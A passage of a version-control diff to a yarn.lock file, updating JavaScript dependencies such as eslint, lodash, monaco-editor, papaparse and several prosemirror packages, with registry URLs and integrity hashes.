+ integrity sha512-vafgJpSh2ia8tnTkNUkwxGmnumgckLh5aAbLa1xRmIn9+owi8qBNGKL+B881kNKNTy7FFqTEkpNkUvmw0n6PkA==
dependencies:
"@babel/code-frame" "7.12.11"
- "@eslint/eslintrc" "^0.4.2"
+ "@eslint/eslintrc" "^0.4.3"
+ "@humanwhocodes/config-array" "^0.5.0"
ajv "^6.10.0"
chalk "^4.0.0"
cross-spawn "^7.0.2"
@@ -7953,11 +7985,6 @@ lodash.values@^4.3.0:
resolved "https://registry.yarnpkg.com/lodash.values/-/lodash.values-4.3.0.tgz#a3a6c2b0ebecc5c2cba1c17e6e620fe81b53d347"
integrity sha1-o6bCsOvsxcLLocF+bmIP6BtT00c=
-lodash@4.17.20:
- version "4.17.20"
- resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.20.tgz#b44a9b6297bcb698f1c51a3545a2b3b368d59c52"
- integrity sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA==
-
lodash@^4.17.10, lodash@^4.17.11, lodash@^4.17.13, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.20, lodash@^4.17.21:
version "4.17.21"
resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
@@ -8556,17 +8583,22 @@ moment-mini@^2.22.1:
resolved "https://registry.yarnpkg.com/moment-mini/-/moment-mini-2.22.1.tgz#bc32d73e43a4505070be6b53494b17623183420d"
integrity sha512-OUCkHOz7ehtNMYuZjNciXUfwTuz8vmF1MTbAy59ebf+ZBYZO5/tZKuChVWCX+uDo+4idJBpGltNfV8st+HwsGw==
-monaco-editor-webpack-plugin@^1.9.1:
- version "1.9.1"
- resolved "https://registry.yarnpkg.com/monaco-editor-webpack-plugin/-/monaco-editor-webpack-plugin-1.9.1.tgz#eb4bbb1c5e5bfb554541c1ae1542e74c2a9f43fd"
- integrity sha512-x7fx1w3i/uwZERIgztHAAK3VQMsL8+ku0lFXXbO81hKDg8IieACqjGEa2mqEueg0c/fX+wd0oI+75wB19KJAsA==
+monaco-editor-webpack-plugin@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/monaco-editor-webpack-plugin/-/monaco-editor-webpack-plugin-4.0.0.tgz#95be3f48f4220999b909266a9997727f0deab947"
+ integrity sha512-4BT9XDRQXraMQjxEUjR+uuubRe3RIPkvVoGw8zwWG++s7wq6TAiXaSOMdkdS9TrjCREgSnygCOlVzY6MS8RPuA==
dependencies:
- loader-utils "^1.2.3"
+ loader-utils "^2.0.0"
-monaco-editor@0.20.0, monaco-editor@^0.20.0:
- version "0.20.0"
- resolved "https://registry.yarnpkg.com/monaco-editor/-/monaco-editor-0.20.0.tgz#5d5009343a550124426cb4d965a4d27a348b4dea"
- integrity sha512-hkvf4EtPJRMQlPC3UbMoRs0vTAFAYdzFQ+gpMb8A+9znae1c43q8Mab9iVsgTcg/4PNiLGGn3SlDIa8uvK1FIQ==
+monaco-editor@0.24.0:
+ version "0.24.0"
+ resolved "https://registry.yarnpkg.com/monaco-editor/-/monaco-editor-0.24.0.tgz#990b55096bcc95d08d8d28e55264c6eb17707269"
+ integrity sha512-o1f0Lz6ABFNTtnEqqqvlY9qzNx24rQZx1RgYNQ8SkWkE+Ka63keHH/RqxQ4QhN4fs/UYOnvAtEUZsPrzccH++A==
+
+monaco-editor@^0.25.2:
+ version "0.25.2"
+ resolved "https://registry.yarnpkg.com/monaco-editor/-/monaco-editor-0.25.2.tgz#119e2b15bbd968a1a99c03cac9c329316d7c37e9"
+ integrity sha512-5iylzSJevCnzJn9UVsW8yOZ3yHjmAs4TfvH3zsbftKiFKmHG0xirGN6DK9Kk04VSWxYCZZAIafYJoNJJMAU1KA==
monaco-yaml@^2.5.1:
version "2.5.1"
@@ -8735,10 +8767,10 @@ node-notifier@^8.0.0:
uuid "^8.3.0"
which "^2.0.2"
-node-releases@^1.1.69:
- version "1.1.70"
- resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-1.1.70.tgz#66e0ed0273aa65666d7fe78febe7634875426a08"
- integrity sha512-Slf2s69+2/uAD79pVVQo8uSiC34+g8GWY8UH2Qtqv34ZfhYrxpYpfzs9Js9d6O0mbDmALuxaTlplnBTnSELcrw==
+node-releases@^1.1.71:
+ version "1.1.73"
+ resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-1.1.73.tgz#dd4e81ddd5277ff846b80b52bb40c49edf7a7b20"
+ integrity sha512-uW7fodD6pyW2FZNZnp/Z3hvWKeEW1Y8R1+1CnErE8cXFXzl5blBOoVB41CvMer6P6Q0S5FXDwcHgFd1Wj0U9zg==
nodemon@^2.0.4:
version "2.0.4"
@@ -9145,6 +9177,11 @@ pako@~1.0.2, pako@~1.0.5:
resolved "https://registry.yarnpkg.com/pako/-/pako-1.0.6.tgz#0101211baa70c4bca4a0f63f2206e97b7dfaf258"
integrity sha512-lQe48YPsMJAig+yngZ87Lus+NF+3mtu7DVOBu6b/gHO1YpKwIj5AWjZ/TOS7i46HD/UixzWb1zeWDZfGZ3iYcg==
+papaparse@^5.3.1:
+ version "5.3.1"
+ resolved "https://registry.yarnpkg.com/papaparse/-/papaparse-5.3.1.tgz#770b7a9124d821d4b2132132b7bd7dce7194b5b1"
+ integrity sha512-Dbt2yjLJrCwH2sRqKFFJaN5XgIASO9YOFeFP8rIBRG2Ain8mqk5r1M6DkfvqEVozVcz3r3HaUGw253hA1nLIcA==
+
parallel-transform@^1.1.0:
version "1.1.0"
resolved "https://registry.yarnpkg.com/parallel-transform/-/parallel-transform-1.1.0.tgz#d410f065b05da23081fcd10f28854c29bda33b06"
@@ -9661,10 +9698,10 @@ prosemirror-collab@^1.2.2:
dependencies:
prosemirror-state "^1.0.0"
-prosemirror-commands@^1.1.4, prosemirror-commands@^1.1.8:
- version "1.1.8"
- resolved "https://registry.yarnpkg.com/prosemirror-commands/-/prosemirror-commands-1.1.8.tgz#61aec59ac101b7990ec59726199f2a31ef0cd8ca"
- integrity sha512-EIj/WAlrK2rVugxNxsFG6pI4430RL63ka2QKB9dO7vvStsLO//nq/oMjmd3VXp08+QNrmmLE23utqBUZwbS9Jg==
+prosemirror-commands@^1.1.10, prosemirror-commands@^1.1.4:
+ version "1.1.10"
+ resolved "https://registry.yarnpkg.com/prosemirror-commands/-/prosemirror-commands-1.1.10.tgz#406a6589966e6cd80809cea2d801fb998639b37d"
+ integrity sha512-IWyBBXNAd44RM6NnBPljwq+/CM2oYCQJkF+YhKEAZNwzW0uFdGf4qComhjbKZzqFdu6Iub2ZhNsXgwPibA0lCQ==
dependencies:
prosemirror-model "^1.0.0"
prosemirror-state "^1.0.0"
@@ -9722,17 +9759,24 @@ prosemirror-markdown@^1.5.1:
markdown-it "^10.0.0"
prosemirror-model "^1.0.0"
-prosemirror-model@^1.0.0, prosemirror-model@^1.1.0, prosemirror-model@^1.13.1, prosemirror-model@^1.13.3, prosemirror-model@^1.14.1, prosemirror-model@^1.8.1:
- version "1.14.1"
- resolved "https://registry.yarnpkg.com/prosemirror-model/-/prosemirror-model-1.14.1.tgz#d784c67f95a5d66b853e82ff9a87a50353ef9cd5"
- integrity sha512-vZcbI+24VloFefKZkDnMaEpipL/vSKKPdFiik4KOnTzq3e6AO7+CAOixZ2G/SsfRaYC965XvnOIEbhIQdgki7w==
+prosemirror-model@^1.0.0, prosemirror-model@^1.1.0, prosemirror-model@^1.13.1, prosemirror-model@^1.13.3, prosemirror-model@^1.14.2, prosemirror-model@^1.2.0, prosemirror-model@^1.8.1:
+ version "1.14.2"
+ resolved "https://registry.yarnpkg.com/prosemirror-model/-/prosemirror-model-1.14.2.tgz#4e8c39cfff4e097631af4495e125d9a8a9773116"
+ integrity sha512-TwkACyEiSi8FJiRhg2ffbzmQRy5DR+aTwAr7trNQNZL24HJR8ouxy4qCkG99PnWK0xZ0AjSMtPXSU6hnxAiP7Q==
dependencies:
orderedmap "^1.1.0"
-prosemirror-schema-list@^1.1.4:
- version "1.1.4"
- resolved "https://registry.yarnpkg.com/prosemirror-schema-list/-/prosemirror-schema-list-1.1.4.tgz#471f9caf2d2bed93641d2e490434c0d2d4330df1"
- integrity sha512-pNTuZflacFOBlxrTcWSdWhjoB8BaucwfJVp/gJNxztOwaN3wQiC65axclXyplf6TKgXD/EkWfS/QAov3/Znadw==
+prosemirror-schema-basic@^1.1.2:
+ version "1.1.2"
+ resolved "https://registry.yarnpkg.com/prosemirror-schema-basic/-/prosemirror-schema-basic-1.1.2.tgz#4bde5c339c845e0d08ec8fe473064e372ca51ae3"
+ integrity sha512-G4q8WflNsR1Q33QAV4MQO0xWrHLOJ+BQcKswGXMy626wlQj6c/1n1v4eC9ns+h2y1r/fJHZEgSZnsNhm9lbrDw==
+ dependencies:
+ prosemirror-model "^1.2.0"
+
+prosemirror-schema-list@^1.1.4, prosemirror-schema-list@^1.1.5:
+ version "1.1.5"
+ resolved "https://registry.yarnpkg.com/prosemirror-schema-list/-/prosemirror-schema-list-1.1.5.tgz#e7ad9e337ea3d77da6d6a4250f3d7bd51ae980a4"
+ integrity sha512-9gadhga/wySVfb/iZ2vOpndbG0XroeLw0HkkZN5demNbOea6U5oQtJmvyYWC7ZVf3WkhmVdVsOXrllM9JcC20A==
dependencies:
prosemirror-model "^1.0.0"
prosemirror-transform "^1.0.0"
@@ -9756,6 +9800,11 @@ prosemirror-tables@^1.1.1:
prosemirror-transform "^1.2.1"
prosemirror-view "^1.13.3"
+prosemirror-test-builder@^1.0.4:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/prosemirror-test-builder/-/prosemirror-test-builder-1.0.4.tgz#68d1d1cedcd90cc2fdd976d736ce87b7a5f1e873"
+ integrity sha512-d5ZwYcf+vd1YI0tgoB7UZ2B2iwb4jmxLGzkHz6ZbkAmPwAY48WpS1frv9BofC2m/MRIMp5SERhISNIANYPsVTg==
+
prosemirror-transform@^1.0.0, prosemirror-transform@^1.1.0, prosemirror-transform@^1.2.1, prosemirror-transform@^1.2.8, prosemirror-transform@^1.3.2:
version "1.3.2"
resolved "https://registry.yarnpkg.com/prosemirror-transform/-/prosemirror-transform-1.3.2.tgz#5620ebe7379e6fae4f34ecc881886cb22ce96579"
@@ -9763,10 +9812,10 @@ prosemirror-transform@^1.0.0, prosemirror-transform@^1.1.0, prosemirror-transfor
dependencies:
prosemirror-model "^1.0.0"
-prosemirror-view@^1.0.0, prosemirror-view@^1.1.0, prosemirror-view@^1.13.3, prosemirror-view@^1.16.5, prosemirror-view@^1.18.7:
- version "1.18.7"
- resolved "https://registry.yarnpkg.com/prosemirror-view/-/prosemirror-view-1.18.7.tgz#d9843337a1649f532401589899b724e7e87e83c0"
- integrity sha512-pUCxoyuWnbVfJ/ukhQ+7+bfDMArG3wu6hHnnTFi61C7Teb5OILUhkkhEhF2/RsppBFWrkwsNcf8rQm8SSoSKRg==
+prosemirror-view@^1.0.0, prosemirror-view@^1.1.0, prosemirror-view@^1.13.3, prosemirror-view@^1.16.5, prosemirror-view@^1.18.8:
+ version "1.18.9"
+ resolved "https://registry.yarnpkg.com/prosemirror-view/-/prosemirror-view-1.18.9.tgz#29bc11759438aecc5b7fadaa8520165c84c2144a"
+ integrity sha512-AkknqYyt7QBJIfA993O5NNOXLyQji5vr0SnOk/eig18dr7hbe1CK9FKd4Cnh9/f0JSHhZwadHlc3w+wZkIdmIQ==
dependencies:
prosemirror-model "^1.1.0"
prosemirror-state "^1.0.0"